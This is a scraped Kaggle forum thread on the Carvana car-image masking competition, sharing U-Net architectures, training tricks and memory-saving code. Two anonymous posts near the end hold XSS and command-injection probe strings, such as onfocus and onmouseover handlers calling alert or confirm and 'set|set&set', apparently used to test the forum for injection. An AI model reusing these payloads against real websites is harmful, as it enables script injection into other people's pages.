\n\n#!/bin/bash\n# swap-create: creates 20 GB swap file\n\nSWAP_FILE=${HOME}/swapfile\n\nsudo dd if=/dev/zero of=${SWAP_FILE} bs=512M count=40\nsudo mkswap ${SWAP_FILE}\nsudo chmod 600 ${SWAP_FILE}\nsudo swapon ${SWAP_FILE}\nI have checked last @Heng CherKeng script and it really produce 0.995 score using 512 images, thanks! Now I'm ready to find a bug in my code:)
\n\nAbout memory consumption when predicting I resolved it by using uint8 format instead of float32\nSo I get prediction after sigmoid function, multiply them by 255. and convert to uint8.\nAfter resizing I threshold them by 128. \nThen I use ~30GB of memory for making a prediction (having 32GB). Saved all mask for 100k images takes 25 GB (so 4x less than float32). As I have same score at LB like Heng, look like it does not hurt performance
\n\nAbout cropping the removing the background from images, I think that is very good idea, which I was thinking about too.\nThe simple two-step idea is best. And it provide bigger car images at same resolution of input image. But I would have left some background around the car to enable random crop and have more information about background around car.
", "votes": null, "replies": [] }, { "id": 208979, "author_name": "phanisrikanth", "author_url": "", "post_date": "07/31/2017 19:31:31", "content": "You could save the numpy array in bcolz format. It's one of the fastest and a cheap way of saving numpy arrays on disk. Some utility functions to save and load bcolz arrays are here: https://github.com/fastai/courses/blob/master/deeplearning1/nbs/utils.py#L175-L181
", "votes": null, "replies": [] }, { "id": 209754, "author_name": "miaouhoho", "author_url": "", "post_date": "08/03/2017 09:47:34", "content": "@Barek \nI have tried your method and it works well for me.
\nI don't have to save a 104GB numpy array on my local anymore.
\nInstead the size shrink to only 26GB when the uint8 array of size 100000x512x512 is saved.
\nHowever, I have used another way to allocate numpy array first by using np.memmap(outdir, dtype=np.uint8, mode='w+', shape=(100064,512,512)).
\nBy doing this I don't have to read the entire array into my memory.
\nhttps://docs.scipy.org/doc/numpy/reference/generated/numpy.memmap.html
Does DA useful ? I'm trying to use rot and flip,but the result become more worse.
", "votes": null, "replies": [ { "id": 208774, "author_name": "jandjenter", "author_url": "", "post_date": "07/31/2017 02:44:08", "content": "Rotated image is far from val/test image, so I guess it is not a good way. I haven't tried but horizontal flip, horizonal/vertical pixel shift and brightness/contrast change should be good..
", "votes": null, "replies": [] }, { "id": 208779, "author_name": "", "author_url": "", "post_date": "07/31/2017 03:30:16", "content": "I think using DA will add some noise.It can improve the robust of the model sometimes,but in this competition we can get 0.99+ precision,so maybe the noise is harmful.
", "votes": null, "replies": [] } ] }, { "id": 208795, "author_name": "hengck23", "author_url": "", "post_date": "07/31/2017 05:01:32", "content": "i am now preparing the experiment write up and code for next release for 0.995 results. Here is a quick summary of my new experiments:
\n\nusing bilinear upsampling is better than deconvolution layer in unet (which i don't know why ... i suspect overfitting)
different sizes on LB: 128x128=0.989(batch=32), 256x256=0.992(30), 512x512=0.995(16)
augmentation. I use scale+shift. adding non-uniform scaling (change of aspect) worsen the results a little.
it seems that everyone now knows how to move towards 0.999. the battle now is who has the most gpu resources. imagine if i can train in full resolution with multi-gpus!
\n\nUpdated! The reason that deconvolution filter didn't work well could be becuase i forget to initialise them with bilinear weights. I will check that later.
", "votes": null, "replies": [ { "id": 208824, "author_name": "emohit", "author_url": "", "post_date": "07/31/2017 07:16:36", "content": "Hey , Can you provide the Keras version of Unet.\nThanks in advance
", "votes": null, "replies": [] }, { "id": 208834, "author_name": "", "author_url": "", "post_date": "07/31/2017 07:42:42", "content": "the bigger size,the higher LB.
", "votes": null, "replies": [] }, { "id": 210075, "author_name": "miaouhoho", "author_url": "", "post_date": "08/04/2017 08:38:33", "content": "Reply for your first doubt
\n1. using bilinear upsampling is better than deconvolution layer in unet (which i don't know why ... i suspect overfitting)
\nIt might be that deconvolutions tend to introduce characteristic artifacts, you can check out this. https://distill.pub/2016/deconv-checkerboard/
inspired by @ironbar post: https://www.kaggle.com/ironbar/getting-a-meaning-of-the-score, i try to find the limits of using training labels of different sizes. Conclusion is that \"size does matters\" !
\n\nHere are the results:\n
After reading http://tanbakuchi.com/posts/comparison-of-openv-interpolation-algorithms/ I've checked the best interpolation method for our masks again with N=500, width=384 and height=256:\n
updated. use this with code release '07-31'
\n\n
comparing 128,256,512 unet. It seems that 32 epoch is not optimum. Also there is no overfitting. Then green mask is example of prediction on test image.
\n\n
Do you know what is causing the spots in the wheels? Is it the training data?
\n\nI have only noticed one image where the manually created mask trimmed in between the wheel's spokes, but I haven't reviewed enough images to know if it is a common or rare issue.
", "votes": null, "replies": [] } ] }, { "id": 208850, "author_name": "dys129", "author_url": "", "post_date": "07/31/2017 09:09:37", "content": "You might also find this useful: https://github.com/mrgloom/awesome-semantic-segmentation
\n\nIt contains links to all the papers and implementations (not only in pytorch) of segmentation networks.
", "votes": null, "replies": [] }, { "id": 208855, "author_name": "hengck23", "author_url": "", "post_date": "07/31/2017 09:35:56", "content": "Next experiment plans:
\n\nbaseline system: using as 256x256 input and predict 256x256.
\n\ncomparsion system:
\n\n 1. Given 256x256 images, crop 128x128 for training and predict 128x128. During testing, 256x256 is divided into overlapping 128x128 patches to do inference. The results are then combined. \n\n 2. Given 128x128 as input. Train to predict 256x256\n\n 3. Given 128x128 as input. Train to predict 512x512. During testing, 512x512 prediction is downsized to 256x256.\na possible solution?
", "votes": null, "replies": [] }, { "id": 208877, "author_name": "hengck23", "author_url": "", "post_date": "07/31/2017 12:59:18", "content": "it is a new record! LB score =0.990 for 128x128. The results of using Bce loss + dice loss, i.e. dual loss back propagated. The training iterations are reduced also.
\n\n
I am using this competition to improve my skills in keras. I see the model shared in this thread has been written using pytorch. Is anyone using keras/tensorflow to write an equivalent model?
", "votes": null, "replies": [ { "id": 209188, "author_name": "creatrol", "author_url": "", "post_date": "08/01/2017 13:39:41", "content": "I'm working on tensorflow version
", "votes": null, "replies": [] }, { "id": 209480, "author_name": "lnicalo", "author_url": "", "post_date": "08/02/2017 12:42:18", "content": "I am struggling to replicate the performance ~0.99xx with keras. Only getting ~0.97x after 20 epochs with 8 batch size\nFind below the model in keras
\n\ninputs = Input((img_rows, img_cols, 3))\nconv1 = Conv2D(16, (3, 3), activation='relu', padding='same', name = 'layer1.1')(inputs)\nconv1 = BatchNormalization()(conv1)\nconv1 = Conv2D(16, (3, 3), activation='relu', padding='same', name = 'layer1.2')(conv1)\nconv1 = BatchNormalization()(conv1)\npool1 = MaxPooling2D(pool_size=(2, 2), name = 'layer1.3')(conv1)\n\nconv2 = Conv2D(32, (3, 3), activation='relu', padding='same', name = 'layer2.1')(pool1)\nconv2 = BatchNormalization()(conv2)\nconv2 = Conv2D(32, (3, 3), activation='relu', padding='same', name = 'layer2.2')(conv2)\nconv2 = BatchNormalization()(conv2)\npool2 = MaxPooling2D(pool_size=(2, 2), name = 'layer2.3')(conv2)\n\nconv3 = Conv2D(64, (3, 3), activation='relu', padding='same', name = 'layer3.1')(pool2)\nconv3 = BatchNormalization()(conv3)\nconv3 = Conv2D(64, (3, 3), activation='relu', padding='same', name = 'layer3.2')(conv3)\nconv3 = BatchNormalization()(conv3)\npool3 = MaxPooling2D(pool_size=(2, 2), name = 'layer3.3')(conv3)\n\nconv4 = Conv2D(128, (3, 3), activation='relu', padding='same', name = 'layer4.1')(pool3)\nconv4 = BatchNormalization()(conv4)\nconv4 = Conv2D(128, (3, 3), activation='relu', padding='same', name = 'layer4.2')(conv4)\nconv4 = BatchNormalization()(conv4)\npool4 = MaxPooling2D(pool_size=(2, 2), name = 'layer4.3')(conv4)\n\nconv5 = Conv2D(256, (3, 3), activation='relu', padding='same', name = 'layer5.1')(pool4)\nconv5 = BatchNormalization()(conv5)\nconv5 = Conv2D(256, (3, 3), activation='relu', padding='same', name = 'layer5.2')(conv5)\nconv5 = BatchNormalization()(conv5)\npool5 = MaxPooling2D(pool_size=(2, 2), name = 'layer5.3')(conv5)\n\nconv6 = Conv2D(512, (3, 3), activation='relu', padding='same', name = 'layer6.1')(pool5)\nconv6 = BatchNormalization()(conv6)\nconv6 = Conv2D(512, (3, 3), activation='relu', padding='same', name = 'layer6.2')(conv6)\nconv6 = BatchNormalization()(conv6)\npool6 = MaxPooling2D(pool_size=(2, 2), name = 'layer6.3')(conv6)\n\nconv7 = Conv2D(1024, (3, 3), activation='relu', padding='same', name = 'layer7.1')(pool6)\nconv7 = BatchNormalization()(conv7)\nconv7 = Conv2D(1024, (3, 3), activation='relu', padding='same', name = 'layer7.2')(conv7)\nconv7 = BatchNormalization()(conv7)\n\nup8 = concatenate([Conv2DTranspose(512, (2, 2), strides=(2, 2), padding='same', name = 'layer8.0')(conv7), conv6], axis=3, name = 'layer8.01')\nconv8 = Conv2D(512, (3, 3), activation='relu', padding='same', name = 'layer8.1')(up8)\nconv8 = BatchNormalization()(conv8)\nconv8 = Conv2D(512, (3, 3), activation='relu', padding='same', name = 'layer8.2')(conv8)\nconv8 = BatchNormalization()(conv8)\n\nup9 = concatenate([Conv2DTranspose(256, (2, 2), strides=(2, 2), padding='same', name = 'layer9.0')(conv8), conv5], axis=3, name = 'layer9.01')\nconv9 = Conv2D(256, (3, 3), activation='relu', padding='same', name = 'layer9.1')(up9)\nconv9 = BatchNormalization()(conv9)\nconv9 = Conv2D(256, (3, 3), activation='relu', padding='same', name = 'layer9.2')(conv9)\nconv9 = BatchNormalization()(conv9)\n\nup10 = concatenate([Conv2DTranspose(256, (2, 2), strides=(2, 2), padding='same', name = 'layer10.0')(conv9), conv4], axis=3, name = 'layer10.01')\nconv10 = Conv2D(256, (3, 3), activation='relu', padding='same', name = 'layer10.1')(up10)\nconv10 = BatchNormalization()(conv10)\nconv10 = Conv2D(256, (3, 3), activation='relu', padding='same', name = 'layer10.2')(conv10)\nconv10 = BatchNormalization()(conv10)\n\nup11 = concatenate([Conv2DTranspose(128, (2, 2), strides=(2, 2), padding='same', name = 'layer11.0')(conv10), conv3], axis=3, name = 'layer11.01')\nconv11 = Conv2D(128, (3, 3), activation='relu', padding='same', name = 'layer11.1')(up11)\nconv11 = BatchNormalization()(conv11)\nconv11 = Conv2D(128, (3, 3), activation='relu', padding='same', name = 'layer11.2')(conv11)\nconv11 = BatchNormalization()(conv11)\n\nup12 = concatenate([Conv2DTranspose(64, (2, 2), strides=(2, 2), padding='same', name = 'layer12.0')(conv11), conv2], axis=3, name = 'layer12.01')\nconv12 = Conv2D(64, (3, 3), activation='relu', padding='same', name = 'layer12.1')(up12)\nconv12 = BatchNormalization()(conv12)\nconv12 = Conv2D(64, (3, 3), activation='relu', padding='same', name = 'layer12.2')(conv12)\nconv12 = BatchNormalization()(conv12)\n\nup13 = concatenate([Conv2DTranspose(32, (2, 2), strides=(2, 2), padding='same', name = 'layer13.0')(conv12), conv1], axis=3, name = 'layer13.01')\nconv13 = Conv2D(32, (3, 3), activation='relu', padding='same', name = 'layer13.1')(up13)\nconv13 = BatchNormalization()(conv13)\nconv13 = Conv2D(32, (3, 3), activation='relu', padding='same', name = 'layer13.2')(conv13)\nconv13 = BatchNormalization()(conv13)\n\nconv14 = Conv2D(1, (1, 1), activation='sigmoid')(conv13)\n# conv14 = BatchNormalization()(conv14)\n\nmodel = Model(inputs=[inputs], outputs=[conv14])\nmy implementation here https://www.kaggle.com/ecobill/u-nets-with-keras/
", "votes": null, "replies": [] } ] }, { "id": 208927, "author_name": "hengck23", "author_url": "", "post_date": "07/31/2017 15:20:30", "content": "yet another simple idea is to use initial low resolution mask prediction to get a bounding box of the car. They crop and resize the bounding box (with border) to some good size like 512x512. This reduces the the background and maximizes the object in the 512x512 input.
", "votes": null, "replies": [] }, { "id": 209122, "author_name": "hengck23", "author_url": "", "post_date": "08/01/2017 09:42:18", "content": "yet another idea
", "votes": null, "replies": [ { "id": 209520, "author_name": "bguberfain", "author_url": "", "post_date": "08/02/2017 14:33:08", "content": "I didn't have time for this competition yet, but I was planning to take the approach you suggest: input all images rotations and output all masks at once.
\n\nOther things to consider:
\n\nDon't go too deep on UNet, as masks are placed more or less on the same region. Instead, replace the two deepest levels with a \"global convolution\" (a convolution with kernel size equal to the side of the image at that level). The number of filters should not be more than the number of cars. This way, we may reduce the number of parameters and probably create a viable 1024x1024 version.
I'd suggest adding an \"upscale\" network to the workflow, after training and predicting the UNet. The input should be patches from original image stacked with the UNet output (channels R, G, B and Mask). These patches should always include border regions of mask (black and white pixels).
Final note: I'd suggest reading this recent post about image segmentation thechniques:\n- http://blog.qure.ai/notes/semantic-segmentation-deep-learning-review
", "votes": null, "replies": [] }, { "id": 209701, "author_name": "hengck23", "author_url": "", "post_date": "08/03/2017 04:56:26", "content": "@Bruno G. do Amaral
\n\n\"I'd suggest adding an \"upscale\" network ...\" thank you for your comment. i am thinking of this too. I am looking at refineNet. I am thinking if i want to do it end-to-end (which require large memory) or train separate networks stagewise, with a network output feed into the input of another stage.
\n\nit can be as simple as two-stage or three stage.
\n\nThanks for the link! Here is another link for review of segmentation:\nhttps://meetshah1995.github.io/semantic-segmentation/deep-learning/pytorch/visdom/2017/06/01/semantic-segmentation-over-the-years.html
", "votes": null, "replies": [] }, { "id": 213215, "author_name": "hengck23", "author_url": "", "post_date": "08/14/2017 04:31:38", "content": "@Bruno G. do Amaral
\n\nThis cvpr 2017 oral paper has some ideas similar to yours:
\n\nhttps://sites.google.com/view/deepimagematting
\n\n\"Deep Image Matting\" - Ning Xu, CVPR 2017
\n\nThe input to the second stage of our network is the concatenation of an image patch and its alpha prediction from the first stage (scaled between 0 and\n255), resulting in a 4-channel input. The output is the corresponding\nground truth alpha matte. The network is a fully convolutional network which includes 4 convolutional layers. Each of the first 3 convolutional layers is followed by a non-linear “ReLU” layer. There are no downsampling layers since we want to keep very subtle structures missed in the first stage.
", "votes": null, "replies": [] } ] }, { "id": 209157, "author_name": "heroxrq", "author_url": "", "post_date": "08/01/2017 12:20:04", "content": "You are kind of sharing your code. I trained a UNet, but it marks all edges just as the attenchment. How do you remove the logo of \"carvana\"?
", "votes": null, "replies": [ { "id": 209167, "author_name": "ironbar", "author_url": "", "post_date": "08/01/2017 12:37:12", "content": "Verify the training, your model is not creating a mask around the car.
\nProbably it doesn't have learn anything.
@ironbar The code is as follows, just trained a unet. I don't know whether the model construct method is OK. It seems that the model just find all the edges, and do not create a car mask.
\n\n\nimport numpy as np\nimport tensorflow as tf\nfrom PIL import Image\nfrom tf_unet import unet, image_util, util\n\nbase_dir = \"/home/xrq/prog/kaggle/image_masking\"\noutput_path = base_dir + \"/script/tmp\"\nmodel_path = base_dir + '/script/model'\ntest_pic_path = base_dir + \"/script/00087a6bd4dc_01_predict.jpg\"\n\ndata_provider = image_util.ImageDataProvider(base_dir + \"/dataset/train/*\", data_suffix='.jpg', mask_suffix='_mask.gif')\nnet = unet.Unet(channels=3, n_class=2, cost='cross_entropy', layers=3, features_root=1)\ntrainer = unet.Trainer(net, batch_size=1, optimizer='momentum')\ntrainer.train(data_provider, output_path, training_iters=10, epochs=100, dropout=0.5, display_step=1, restore=False, write_graph=False)\n\ninit = tf.global_variables_initializer()\nwith tf.Session() as sess:\n # Initialize variables\n sess.run(init)\n\n net.save(sess, model_path)\n pic = np.array(Image.open(base_dir + '/dataset/train/00087a6bd4dc_01.jpg'), np.float32)\n prediction = net.predict(model_path, np.reshape(pic, (1, 1280, 1918, 3)))\n\n res = np.reshape(prediction, (1240, 1876, 2))[:, :, 1]\n img = Image.fromarray(res * 255)\n if img.mode != 'RGB':\n img = img.convert('RGB')\n img.save(test_pic_path)\n img.show()\nsegmentation tricks!
\n\nsee pascal voc 2012 leader board method description
\n\nhttp://host.robots.ox.ac.uk:8080/leaderboard/displaylb.php?challengeid=11&compid=6
\n\ne.g CRF is applied as post-processing step.
\n\nWe also use densecrf as post-processing to refine object boundaries.
", "votes": null, "replies": [ { "id": 211110, "author_name": "jackkwok", "author_url": "", "post_date": "08/08/2017 03:38:52", "content": "Heng et al, Does anyone have success with CRF as post-processing?
\n\nOriginal paper on Gaussian CRF: \nhttps://arxiv.org/abs/1210.5644
", "votes": null, "replies": [] } ] }, { "id": 209393, "author_name": "hengck23", "author_url": "", "post_date": "08/02/2017 04:52:12", "content": "finally a solution for 0.996. please refer to for code release 08-02 and experiment. Here is a summary for unet for predicting 1024x1024 (batch size=8).
\n\nconstruct a 512x512 input unet
the last feature map is 512x512
concat this last feature with input. upsize to 1024x1024.
add conv filters 3x3, bn, relu, etc ...
finally, a classifier layer to predict results at 1024x1024
Note that there is numerical instability. I am not sure if it is due to unstable bce loss or BN layers (too little train samples can cause running std =0?). I will find out if I have time.
\n\n
e..,maybe input is 512x512 and you write 512 x 125? I was using 512x512 input size, 512x512 output size ,no bn layers (i have no more memory,and I think we don't need it.),it can also get 0.996.
", "votes": null, "replies": [] }, { "id": 209440, "author_name": "hengck23", "author_url": "", "post_date": "08/02/2017 08:39:28", "content": "@bang liu
\n\nThank you for the comments. I corrected the typo error. It should be 512x512. ' ... no bn layers ...' Maybe I can try without BN layer too. In that case, I can use greater batch size or higher resolution. Thanks!
\n\nNote: without BN, it is easy to try in multi-gpu (and also fp16 which i try before on cifar10 before)
", "votes": null, "replies": [] }, { "id": 209451, "author_name": "hengck23", "author_url": "", "post_date": "08/02/2017 09:25:53", "content": "@bang liu
\n\nhow do you initialise your Unet without BN? Tried just now at my side. The UNet won't run at training unless good initialization is given (I can merge BN in conv to do a initialization for the weights). Since the images are more or less similar, maybe that is why BN may not be that important here. Without BN, i can increase batch size from 16 to 20. The speed is faster too.
", "votes": null, "replies": [] }, { "id": 209460, "author_name": "ceperaang", "author_url": "", "post_date": "08/02/2017 10:28:52", "content": "When you train Unet without BN you have to use much lower learning rate (in range 1e-4 or lower) and longer training
", "votes": null, "replies": [] }, { "id": 209465, "author_name": "timjoseph", "author_url": "", "post_date": "08/02/2017 11:16:04", "content": "@Heng CherKeng\nHow long does 1 epoch take (on your 1080TI/Titan?) to train for the 0.996 net?
", "votes": null, "replies": [] }, { "id": 209466, "author_name": "hengck23", "author_url": "", "post_date": "08/02/2017 11:17:51", "content": "5.6 min using pascal titianX. The log file can be found at the google drive. see 08-20 and 07-31.\nI run about 35 epoch.
", "votes": null, "replies": [] }, { "id": 209467, "author_name": "hengck23", "author_url": "", "post_date": "08/02/2017 11:19:27", "content": "if i got time, i am going to try this: https://github.com/ducha-aiki/LSUV-pytorch
", "votes": null, "replies": [] }, { "id": 209471, "author_name": "", "author_url": "", "post_date": "08/02/2017 11:50:49", "content": "I have not using special init method,but random normal(mean=0,std=filter_width*filter_height*channel).\nthese pic are too same,so DA and BN these method which can lead noise will be harmful .\nthe best way is increase the input size,but I gauss we can't over 0.998 because of ground true error.
", "votes": null, "replies": [] }, { "id": 209545, "author_name": "hengck23", "author_url": "", "post_date": "08/02/2017 15:47:09", "content": "@bang liu and @Sergey Mushinskiy
\n\nThank you for the comments. The initialization and learning rate are magical. I am running the experiments now, using unet512 without bn. The convergence rate is a bit slower, but time per epoch is reduced from 3 min to 2.2 min. Attached is the loss convergence of epoch-1. I will post experiment curve of with and without bn when my experiments are completed. Thanks again!
\n\nhttps://storage.googleapis.com/kaggle-forum-message-attachments/208677/6972/results-small-epoch-1.avi (red=ground_truth, green=prediction. if ground_truth==green, you should see only yellow)
\n\nclass UNet512_no_bn_2 (nn.Module):\n\ndef __init__(self, in_shape, num_classes):\n super(UNet512_no_bn_2, self).__init__()\n in_channels, height, width = in_shape\n\n self.down1 = nn.Sequential(\n *make_conv_relu(in_channels, 16, kernel_size=3, stride=1, padding=1 ),\n *make_conv_relu(16, 16, kernel_size=3, stride=1, padding=1 ),\n )\n ..... \n\n self.classify = nn.Conv2d(16, num_classes, kernel_size=1, stride=1, padding=0 )\n\n ## initialistaion\n # https://www.kaggle.com/c/carvana-image-masking-challenge/discussion/37208\n # bang liu : random normal(mean=0,std=filter_width*filter_height*channel).\n\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n\n\ndef forward(self, x):\n\n down1 = self.down1(x)\n out = F.max_pool2d(down1, kernel_size=2, stride=2) #64\n\n down2 = self.down2(out)\n out = F.max_pool2d(down2, kernel_size=2, stride=2) #64\n .....\n out = self.classify(out)\n\n return out\nIn your next update, could you publish your Split folder? I can't tell which images you used in the test_3197 file. Many thanks!
", "votes": null, "replies": [] }, { "id": 209699, "author_name": "hengck23", "author_url": "", "post_date": "08/03/2017 04:51:39", "content": "i have added to the 07-30 release. test_3197 is for visualization only. it is not used in training and will not affect results.
", "votes": null, "replies": [] }, { "id": 210016, "author_name": "luango", "author_url": "", "post_date": "08/04/2017 03:08:00", "content": "How much RAM do you use @Heng CherKeng? I even got problem loading the training images. Sorry for a dump question, I'm new to the field.
", "votes": null, "replies": [] }, { "id": 210017, "author_name": "hengck23", "author_url": "", "post_date": "08/04/2017 03:09:51", "content": "i have 128GB ram. check the code and set is_preload=False in the dataset init function.
", "votes": null, "replies": [] }, { "id": 210019, "author_name": "luango", "author_url": "", "post_date": "08/04/2017 03:15:39", "content": "Thank you so much ^^
", "votes": null, "replies": [] } ] }, { "id": 209397, "author_name": "hengck23", "author_url": "", "post_date": "08/02/2017 05:05:29", "content": "yet another idea is to use distance transform to weigh the boundary pixels in the loss function.
", "votes": null, "replies": [] }, { "id": 209642, "author_name": "ecobill", "author_url": "", "post_date": "08/02/2017 22:28:32", "content": "Coded up a U-nets implementation here that is relevant to this post! Let me know what you thing!
", "votes": null, "replies": [] }, { "id": 209709, "author_name": "hengck23", "author_url": "", "post_date": "08/03/2017 05:32:40", "content": "anyone using dilated convolution here? Does it improves results?
", "votes": null, "replies": [ { "id": 209782, "author_name": "timjoseph", "author_url": "", "post_date": "08/03/2017 11:47:36", "content": "I would love to, but I think dilated convolutions do increase memory consumption a lot (and it seems like many configurations of cudnn/pytorch are not optimised for dilation?)
", "votes": null, "replies": [] }, { "id": 209784, "author_name": "", "author_url": "", "post_date": "08/03/2017 11:51:44", "content": "Does pytorch has dilated layer?
", "votes": null, "replies": [] }, { "id": 209899, "author_name": "timjoseph", "author_url": "", "post_date": "08/03/2017 18:20:50", "content": "http://pytorch.org/docs/master/nn.html#convolution-layers\nYea I think the dilation parameter does control dilation
", "votes": null, "replies": [] }, { "id": 210032, "author_name": "hengck23", "author_url": "", "post_date": "08/04/2017 04:45:53", "content": "i try 5x5 filter. it does improve the results a little but is very slow and some overfitting. so i am thinking that dilated conv might help.
", "votes": null, "replies": [] }, { "id": 210039, "author_name": "", "author_url": "", "post_date": "08/04/2017 05:12:01", "content": "But using dilated conv will cost too much memory(maybe 4~8 times),or you will also downsample the feature map ?
", "votes": null, "replies": [] }, { "id": 210041, "author_name": "hengck23", "author_url": "", "post_date": "08/04/2017 05:22:05", "content": "Rethinking Atrous Convolution for Semantic Image Segmentation\nSubmitted on 17 Jun 2017\nArxiv Link\n
training at original resolution! I crop 1024x1024 from the original image. The results look good. The spikes in my previous 1024 attempt is due to small batch size. I think you need at least batch_size = 32 (use caffe accumulate gradient trick, i.e. iter_size in the prototxt file) blue=batch_size_8, red = batch_size_32. This is a new unet using 1024 as input and 1024 as output.
\n\nMy feeling is that is will be a 0.997 solution. To get to 0.998, some refinement strategy is required.
\n\n\n
By training in 1024x1024, I am wondering how to predict the result under 1918 * 1280?
", "votes": null, "replies": [] }, { "id": 210079, "author_name": "hengck23", "author_url": "", "post_date": "08/04/2017 08:56:03", "content": "
That's cool. But how to make sure the patch cover all the car if it's facing towards you or backwards? I haven't checked all the images
", "votes": null, "replies": [] }, { "id": 210149, "author_name": "hengck23", "author_url": "", "post_date": "08/04/2017 13:00:23", "content": "you can get bounding box from initial estimate
\n\n
How long does it take for you to predict all test images + generate RLE file?
\n\nI managed to train at native resolution (1918x1280), left it training for ~1 day but predictions + RLE will take ~15-20 hours...
", "votes": null, "replies": [] }, { "id": 210210, "author_name": "hengck23", "author_url": "", "post_date": "08/04/2017 16:51:12", "content": "generate RLE takes 20 min\n(see kernel section for fast RLE)
\n\njust prediction at 1024x1024 takes 1 to 2 hr.\nbut there are overheads like storing 1024x1024 probability to disk, etc
", "votes": null, "replies": [] }, { "id": 210220, "author_name": "hengck23", "author_url": "", "post_date": "08/04/2017 17:43:18", "content": "i changed my strategy. From my experiments, direct prediction from full resolution or slightly smaller (e.g 1024x1916) can also work. so there is no need to divide into crops, etc
", "votes": null, "replies": [] }, { "id": 210235, "author_name": "timjoseph", "author_url": "", "post_date": "08/04/2017 19:03:52", "content": "UNets seem to be working great for you! How do you manage memory consumption with this image size? I guess for most UNets this is too big to even fit a single image into memory?
", "votes": null, "replies": [] }, { "id": 210293, "author_name": "hengck23", "author_url": "", "post_date": "08/05/2017 01:43:49", "content": "surprising, max no. of images for 1024x1916 is 8. i use 12 GB pascal titanx. as long as you can stable BN moving statistics, you can:
\n\nenter code here\n\nprint ('batch_size*num_grad_acc') \nfor epoch in range(start_epoch, num_epoches): \n\n adjust_learning_rate(optimizer, lr/num_grad_acc)\n rate = get_learning_rate(optimizer)[0]*num_grad_acc \n\n net.train()\n for it, (images, labels, indices) in enumerate(train_loader, 0):\n images = Variable(images.cuda())\n labels = Variable(labels.cuda())\n\n #forward\n logits = net(images)\n probs = F.sigmoid(logits)\n masks = (probs>0.5).float()\n\n\n #backward\n loss = criterion(logits, labels)\n # optimizer.zero_grad()\n # loss.backward()\n # optimizer.step()\n\n # accumulate gradients\n if it==0:\n optimizer.zero_grad()\n loss.backward()\n if it%num_grad_acc==0:\n optimizer.step()\n optimizer.zero_grad() # assume no effects on bn for accumulating grad\n`
", "votes": null, "replies": [] }, { "id": 210357, "author_name": "timjoseph", "author_url": "", "post_date": "08/05/2017 09:38:02", "content": "So what's the batch size here and num_grad_acc? I guess training time takes a hit though at this size?
", "votes": null, "replies": [] }, { "id": 210389, "author_name": "hengck23", "author_url": "", "post_date": "08/05/2017 12:32:23", "content": "it takes 14 min to train for 1024x2048 per epoch (actaully 2~3 min is due to data augmentation). effective_batch_size = num_grad_accxbtach_size can be 4x8=32 or 4x16=64. i am still experimentally. and yes, the effective_batch_size does affect results
", "votes": null, "replies": [] }, { "id": 210997, "author_name": "timjoseph", "author_url": "", "post_date": "08/07/2017 19:20:36", "content": "deleted comment - I was wrong
", "votes": null, "replies": [] } ] }, { "id": 210038, "author_name": "hengck23", "author_url": "", "post_date": "08/04/2017 05:04:11", "content": "yet another idea. background prediction model:\nrgb -->[feature_net]-->predicted_background_rgb-->z=abs(predicted_background_rgb-rgb-->sigmoid[scale(z+shift)]-->loss
", "votes": null, "replies": [] }, { "id": 210040, "author_name": "hengck23", "author_url": "", "post_date": "08/04/2017 05:18:40", "content": "boundary refinement:\n\"Laplacian Pyramid Reconstruction and Refinement for Semantic Segmentation\" - G. Ghiasi, C. Fowlkes, eccv 2016\nhttp://www.ics.uci.edu/~gghiasi/
\n\nsmart idea to detect the boundary using max and inverted max pooling\n
see also the cvpr 2017 paper:\nGated feedback refinement network for dense image labeling
\n\nwww.cs.umanitoba.ca/~ywang
\n\n
if you want ot use TTA (test time augmentation), you may need to find ways to speed up inference. here is a trick.
\n\n\"In order to speed up inference time, we use the following\nequations to remove the batch normalization layer in our\nnetwork at test time.\"
\n\nDSSD : Deconvolutional Single Shot Detector
\n\n\n\nsimilar trick is used in Intel's PVANet:
\n\nhttps://github.com/sanghoon/pva-faster-rcnn/issues/5
", "votes": null, "replies": [ { "id": 210345, "author_name": "timjoseph", "author_url": "", "post_date": "08/05/2017 08:26:06", "content": "Interesting. Is inference time already a bottleneck for you?
", "votes": null, "replies": [] } ] }, { "id": 210392, "author_name": "", "author_url": "", "post_date": "08/05/2017 12:35:24", "content": "\">/\nprompt(/920065/)\n\"onmouseover=\"confirm(2);\n\">\n\"-->\n\"//autofocus//onfocus=\"alert('XSSPOSED');\"\n\">confirm(/XSs;/)\n;print(md5(xss)); set|set&set\ntext//;value=autofocus onfocus=alert(1) a=>
\n\n\n\n
-alert`/1/`\">'onload=\"`-alert1\">'onload=\"1\"autofocus \"[user]\">/\n prompt(/920065/)\n \"onmouseover=\"confirm(2);\n \">\n \"-->\n \"//autofocus//onfocus=\"alert('XSSPOSED');\"\n \">confirm(/XSs;/)[video]\">/\n prompt(/920065/)\n \"onmouseover=\"confirm(2);\n \">\n \"-->\n \"//autofocus//onfocus=\"alert('XSSPOSED');\"\n \">confirm(/XSs;/)[image]\">/\n prompt(/920065/)\n \"onmouseover=\"confirm(2);\n \">\n \"-->\n \"//autofocus//onfocus=\"alert('XSSPOSED');\"\n \">confirm(/XSs;/)\n ;print(md5(xss)); set|set&set\n text//;value=autofocus onfocus=alert(1) a=>\n \">\n
-alert/1/\">'onload=\"-alert1\">'onload=\"document.domain\"autofocus \"[/image]\n;print(md5(xss)); set|set&set\ntext//;value=autofocus onfocus=alert(1) a=>
\n", "votes": null, "replies": [] }, { "id": 210393, "author_name": "", "author_url": "", "post_date": "08/05/2017 12:36:22", "content": "\n
\n-alert`/1/`\">'onload=\"`-alert1\">'onload=\"\n \n-alert`/1/`\">'onload=\"`-alert`1`\">'onload=\"`1\"autofocus \"
\">/\nprompt(/920065/)\n\"onmouseover=\"confirm(2);\n\">\n\"-->\n\"//autofocus//onfocus=\"alert('XSSPOSED');\"\n\">confirm(/XSs;/)\n;print(md5(xss)); set|set&set\ntext//;value=autofocus onfocus=alert(1) a=>
\n\n\n\n
